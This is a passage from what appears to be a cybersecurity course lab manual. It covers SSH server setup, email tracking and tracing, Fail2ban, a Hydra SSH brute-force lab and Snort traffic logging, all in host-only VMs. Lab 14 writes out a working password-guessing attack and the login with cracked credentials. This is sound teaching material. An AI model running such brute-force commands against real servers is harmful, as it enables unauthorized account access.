    - Under "Controller: IDE", click the empty CD icon and choose "Choose a disk file..." to select your downloaded Linux server ISO.
    - Start the VM.
    - Follow the on-screen prompts for the server installation:
        - Select language, location, keyboard.
        - Set up network (DHCP on Host-only network should work).
        - Create a user account and set a strong password.
        - For Ubuntu Server, select "Install OpenSSH server" during the software selection phase. For Debian, you'll install it manually later.
        - Partitioning: "Use entire disk" (for the virtual disk).
        - Complete the installation and reboot.
5. **Install SSH Server (if not installed during OS setup):**
    - After the server reboots and you log in, open a terminal.
    - Update package lists:
    - `sudo apt update`

    - Install OpenSSH server:
    - `sudo apt install openssh-server -y`

6. **Verify SSH Service Status:**
    - Check if the SSH service is running:
    - `sudo systemctl status ssh`
    - It should show "active (running)". If not, start it: `sudo systemctl start ssh`.
7. **Find Server IP Address:**
    - Get the IP address of your Linux server on the Host-only network:
    - `ip a`
    - Look for the IP address associated with the Host-only adapter (e.g., `enp0s8` or `eth1`).
8. **Test SSH Connection from Kali Linux:**
    - Switch to your Kali Linux VM.
    - Open a terminal.
    - Attempt to connect to your Linux server via SSH using the username and IP address you noted:
    - `ssh [username]@[server_IP_address]`

      (e.g., `ssh user@192.168.56.102`)
    - Accept the fingerprint if prompted.
    - Enter the password for the user on the server.
    - You should get a command prompt for the Linux server.

Source Code: N/A (Installation and configuration involve commands and system interactions.)

Input:

- Linux server ISO image file (e.g., Ubuntu Server, Debian Netinst).
- Commands for installation and SSH configuration.

Expected Output:

- A fully installed and running Linux server virtual machine in VirtualBox.
- The SSH service (`sshd`) actively running on the server.
- Successful SSH connection from your Kali Linux VM (or host machine if configured) to the Linux server, providing a remote command-line interface.

Lab 12: Study Email Tracking and Email Tracing and write a report on them

Title: Comprehensive Study on Email Tracking and Email Tracing

Aim: To thoroughly investigate the concepts, methodologies, and tools involved in email tracking (monitoring recipient engagement) and email tracing (identifying sender/origin), and to compile a detailed report summarizing the findings.

Procedure:

1. **Define Key Terms:**
    - **Email Tracking:** What it is, why it's used (marketing, sales, phishing), common techniques (tracking pixels, web beacons, link wrapping).
    - **Email Tracing:** What it is, why it's used (abuse investigation, law enforcement, identifying spam origin), primary method (email headers).
2. **Research Email Tracking Techniques:**
    - **Tracking Pixels/Web Beacons:** How they work (1x1 transparent GIFs), information collected (open rates, IP address, device, time).
    - **Link Wrapping/Click Tracking:** How URLs are modified to redirect through tracking servers.
    - **Cookie Tracking:** How cookies can be used in conjunction with email tracking.
    - **Tools/Services:** Identify popular email marketing platforms (Mailchimp, HubSpot) and dedicated tracking services that use these techniques.
3. **Research Email Tracing Techniques (Focus on Email Headers):**
    - **Anatomy of an Email Header:** Explain common fields like `Received`, `Return-Path`, `From`, `To`, `Subject`, `Message-ID`, `X-Mailer`, `Content-Type`.
    - **Tracing the Path (`Received` headers):** Explain how to read `Received` headers from bottom to top to trace the email's journey through mail servers.
    - **Identifying IP Addresses:** How to extract IP addresses from `Received` headers and use IP lookup tools (e.g., `whois`, `ipinfo.io`, `whatismyipaddress.com`) to get geographical and ISP information.
    - **SPF, DKIM, DMARC:** Briefly explain these email authentication mechanisms and how they aid in tracing and verifying sender legitimacy.
    - **Tools/Services:** Mention online email header analyzers (e.g., Google's Messageheader, MXToolbox Email Header Analyzer) and command-line tools (e.g., `dig`, `nslookup`).
4. **Practical Experiment (Optional but Recommended):**
    - **For Tracking:** Send an email to yourself using a service known for tracking (e.g., Mailchimp free tier, or a simple Gmail email with an image embedded from a unique URL you control). Check if the image is loaded.
    - **For Tracing:** Send an email from various accounts (Gmail, Outlook, a custom domain if available) to your Kali Linux email client. View the full email headers and practice tracing the path and identifying IP addresses.
5. **Structure the Report:**
    - **Introduction:** Briefly define email tracking and tracing and their importance in cybersecurity.
    - **Email Tracking:**
        - Definition and Purpose
        - Techniques (Tracking Pixels, Link Wrapping, etc.)
        - Information Collected
        - Ethical Concerns and Privacy Implications
        - Countermeasures (e.g., disabling image loading, privacy extensions).

    - **Email Tracing:**
        - Definition and Purpose
        - Understanding Email Headers (detailed explanation of key fields)
        - Step-by-step guide to tracing an email's path using `Received` headers.
        - Tools for IP lookup and header analysis.
        - Role of SPF, DKIM, DMARC.
        - Challenges in Tracing (e.g., spoofing, VPNs, compromised accounts).
    - **Conclusion:** Summarize the key takeaways and the dual nature of these technologies (legitimate use vs. malicious use).
    - **References:** List all sources used.

Source Code: N/A (This lab is primarily research and report writing. No programming source code is involved.)

Input:

- Internet access for research.
- Sample emails for practical tracing.
- Online email header analysis tools.

Expected Output:

- A comprehensive written report (e.g., in Markdown, PDF, or Word document format) detailing:
    - Clear definitions and explanations of email tracking and tracing.
    - Detailed descriptions of various techniques used for both.
    - Examples of information that can be gathered.
    - Step-by-step instructions on how to analyze email headers for tracing.
    - Discussion of the ethical implications and privacy concerns.
    - Mention of relevant tools and services.

Lab 13: Use Fail2ban to scan log files and ban IPs that show the malicious signs

Title: Intrusion Prevention with Fail2ban

Aim: To install and configure Fail2ban on a Linux server (e.g., the one installed in Lab 11) to monitor log files for malicious activity (e.g., brute-force login attempts) and automatically ban the offending IP addresses using firewall rules.

Procedure:

1. **Ensure Linux Server VM is Running:**
   - Boot up your Linux server VM (from Lab 11).
   - Ensure you can SSH into it from your Kali Linux VM.
2. **Install Fail2ban on the Linux Server:**
   - Log in to your Linux server via SSH.
   - Update package lists:
   - `sudo apt update`
   - Install Fail2ban:
   - `sudo apt install fail2ban -y`
3. **Verify Fail2ban Service Status:**
   - Check if Fail2ban is running:
   - `sudo systemctl status fail2ban`
   - It should show "active (running)".
4. **Configure Fail2ban (Basic `jail.local`):**
   - Fail2ban's main configuration is in `/etc/fail2ban/jail.conf`. **Do not edit this file directly.** Instead, create a local override file:
   - `sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local`
   - Open `jail.local` for editing:
   - `sudo nano /etc/fail2ban/jail.local`
   - **Global Settings:**
     - Find `bantime = 10m` (ban duration, e.g., 10 minutes). You can reduce this for testing (e.g., `1m`).
     - Find `findtime = 10m` (time window for failures).
     - Find `maxretry = 5` (number of failures before ban).
   - **Enable SSH Jail:**
     - Scroll down to the `[sshd]` section.
     - Ensure `enabled = true` is set.
     - Check `port = ssh` and `logpath = %(sshd_log)s`.
     - You can also add `destemail = your_email@example.com` and `action = %(action_mw)s` to receive email notifications (requires mail server setup).
   - Save and exit `jail.local`.
5. **Restart Fail2ban:**
   - Apply the changes by restarting the service:

- `sudo systemctl restart fail2ban`

6. **Test Fail2ban (Brute-Force SSH):**
   - **From your Kali Linux VM:** Attempt to SSH into the Linux server with incorrect passwords multiple times (more than `maxretry`).
   - `ssh user@<Linux_Server_IP>`
   - `# Enter wrong password 5+ times`

   - **On the Linux Server VM:**
     - Monitor the Fail2ban log:
     - `sudo tail -f /var/log/fail2ban.log`

     - You should see messages indicating that your Kali Linux IP has been banned.
     - Check the active jails and banned IPs:
     - `sudo fail2ban-client status sshd`

       This will show the number of currently banned IPs and their addresses.

   - **From Kali Linux:** After the ban, try to SSH again. It should fail (connection refused or timeout) until the `bantime` expires.
7. **Unban an IP (Optional):**
   - If you need to unban your Kali IP manually for testing:
   - `sudo fail2ban-client set sshd unbanip [Kali_Linux_IP_Address]`

Source Code: N/A (Fail2ban is a system service configured via text files. The "Source Code" section will contain installation and configuration commands.)

Input:

- Linux server VM.
- Configuration file `/etc/fail2ban/jail.local`.
- SSH login attempts with incorrect passwords.

Expected Output:

- Successful installation and running status of Fail2ban.
- Messages in `/var/log/fail2ban.log` indicating that an IP address (your Kali Linux VM's IP) has been banned due to excessive failed SSH login attempts.
- Output from `sudo fail2ban-client status sshd` showing your Kali Linux IP listed as banned.
- Inability to SSH from Kali Linux to the server for the duration of the ban time.

Lab 14: Launch brute-force attacks on the Linux server using Hydra.

Title: Brute-Force Attack on Linux Server using Hydra

Aim: To understand and demonstrate the process of launching a brute-force attack against a network service (e.g., SSH) on a target Linux server using the Hydra tool, highlighting the importance of strong passwords and account lockout policies.

Procedure:

1. **Ensure VMs are Running:**
   - Start both your Kali Linux VM and the Linux server VM (from Lab 11).
   - Verify they are on the same Host-only network and you can ping the server from Kali.
   - Note down the Linux server's IP address and a valid username on it (e.g., `user` or `msfadmin` if using Metasploitable2).
2. **Prepare Wordlists:**
   - **Username List:** Create a simple text file with potential usernames.
   - `echo "user" > users.txt`
   - `echo "admin" >> users.txt`
   - `echo "root" >> users.txt`

   - **Password List:** Create a text file with common or weak passwords. For demonstration, include the correct password for your target user, and several incorrect ones.
   - `echo "password123" > passwords.txt`
   - `echo "123456" >> passwords.txt`
   - `echo "test" >> passwords.txt`
   - `echo "kali" >> passwords.txt`
   - `echo "your_correct_password" >> passwords.txt # Replace with actual password`

   - Store these files in a convenient location (e.g., your home directory in Kali).
3. **Launch Hydra Attack (SSH Example):**
   - Open a terminal in Kali Linux.
   - Use the `hydra` command with the following options:
     - `-L`: Path to the username list.
     - `-P`: Path to the password list.
     - `-t`: Number of parallel tasks (threads). Lower for less noise, higher for faster attacks.
     - `-V`: Verbose mode to show login attempts.
     - `[target_IP]`: The IP address of your Linux server.
     - `ssh`: The service to attack.
   - `hydra -L users.txt -P passwords.txt -t 4 -V [Linux_Server_IP] ssh`

   - **Note:** If Fail2ban is active on the server (from Lab 13), this attack will likely result in your Kali IP being banned. This is a good demonstration of Fail2ban's effectiveness.
4. **Observe Hydra Output:**
   - Hydra will show the attempts and, if successful, will print the cracked username and password.
5. **Verify Cracked Credentials:**
   - If Hydra finds credentials, try to SSH into the server using them:

- `ssh [cracked_username]@[Linux_Server_IP]`

  Enter the cracked password.

Source Code: N/A (Hydra is a command-line tool. The "Source Code" section will contain the commands used.)

Input:

- Linux server IP address.
- Username list file (e.g., `users.txt`).
- Password list file (e.g., `passwords.txt`).

Expected Output:

- Hydra will display a verbose output of login attempts, showing "login as [username] with password [password] failed" messages.
- If the attack is successful and the correct password is in your wordlist, Hydra will output a line similar to:
- `[SUCCESS] host: [Linux_Server_IP] login: [cracked_username] password: [cracked_password]`

- If Fail2ban is active on the server, your Kali Linux IP will be banned after a few attempts, and subsequent Hydra attempts will fail with "Connection refused" or "No route to host" errors.
- Successful SSH login to the Linux server using the credentials found by Hydra.

Lab 15: Perform real-time network traffic analysis and data packet logging using Snort

Title: Real-time Network Traffic Analysis and Packet Logging with Snort

Aim: To utilize Snort as a powerful network analysis tool to monitor network traffic in real-time, detect suspicious patterns based on predefined rules, and log network packets for forensic analysis.

Procedure:

1. **Ensure Snort is Installed and Configured:**
   - Verify Snort is installed (from Lab 10).
   - Ensure `/etc/snort/snort.conf` is correctly configured, especially `HOME_NET` and the inclusion of rule files (e.g., `local.rules`).
2. **Identify Network Interface:**
   - Determine the network interface Snort will monitor (e.g., `eth0`, `enp0s3` for wired, `wlan0` for wireless). Use `ip a` or `ifconfig`.
3. **Run Snort in Sniffing/IDS Mode (Console Output):**
   - This mode displays alerts directly to the terminal.
   - Open a terminal in Kali Linux:
   - `sudo snort -A console -q -c /etc/snort/snort.conf -i [Your_Network_Interface]`
   - Generate some network traffic (e.g., open a web browser and visit a website, ping another VM, run an Nmap scan from another VM against Kali).
   - Observe the alerts generated by Snort in the console.
4. **Run Snort for Packet Logging (PCAP Format):**
   - Snort can log all or filtered network traffic to a PCAP file, which can then be analyzed with tools like Wireshark.
   - First, create a directory for logs (if it doesn't exist): `sudo mkdir /var/log/snort`
   - Run Snort to log packets:
   - `sudo snort -dev -l /var/log/snort -h $HOME_NET -i [Your_Network_Interface]`
     - `-d`: Dump the application layer data.
     - `-e`: Dump the link layer headers.
     - `-v`: Verbose output (shows packet headers).
     - `-l /var/log/snort`: Specify the logging directory.
     - `-h $HOME_NET`: Only log traffic originating from or destined for your `HOME_NET`.
   - Generate some traffic.
   - Stop Snort (`Ctrl+C`).
   - List the contents of the log directory: `ls -lh /var/log/snort/`
   - You will find PCAP files (e.g., `snort.log.1716384000`).
5. **Analyze Logged Packets with Wireshark:**
   - Open Wireshark (from Kali Applications menu or `wireshark &` in terminal).
   - Go to "File" -> "Open" and navigate to `/var/log/snort/`.
   - Open the generated PCAP file.
   - Analyze the captured network traffic, applying filters (e.g., `ip.addr == [IP_of_another_VM]`, `http`, `dns`).

6. **Run Snort with Alerts to a Log File:**
    - Instead of console output, send alerts to a file:
    - `sudo snort -A full -l /var/log/snort -c /etc/snort/snort.conf -i [Your_Network_Interface]`

    - Generate traffic.
    - Stop Snort.
    - Check the alert file: `sudo cat /var/log/snort/alert` (or `alert.full`).

Source Code: N/A (Snort is a command-line tool. The "Source Code" section will contain the commands used.)

Input:

- Kali Linux operating system with Snort installed.
- Network interface name.
- Network traffic generated by other machines or applications.
- Snort configuration and rule files.

Expected Output:

- **Real-time Analysis:** Alerts displayed directly in the terminal when Snort is run with `-A console`, indicating detected suspicious activities based on its rules.
- **Packet Logging:** Generation of PCAP files (e.g., `snort.log.<timestamp>`) in the specified log directory (`/var/log/snort`).
- **Wireshark Analysis:** Ability to open and analyze the captured PCAP files in Wireshark, showing detailed network packets, protocols, and data.
- **Alert Logging:** Alerts being written to a dedicated alert file (e.g., `/var/log/snort/alert`) when Snort is run with `-A full`.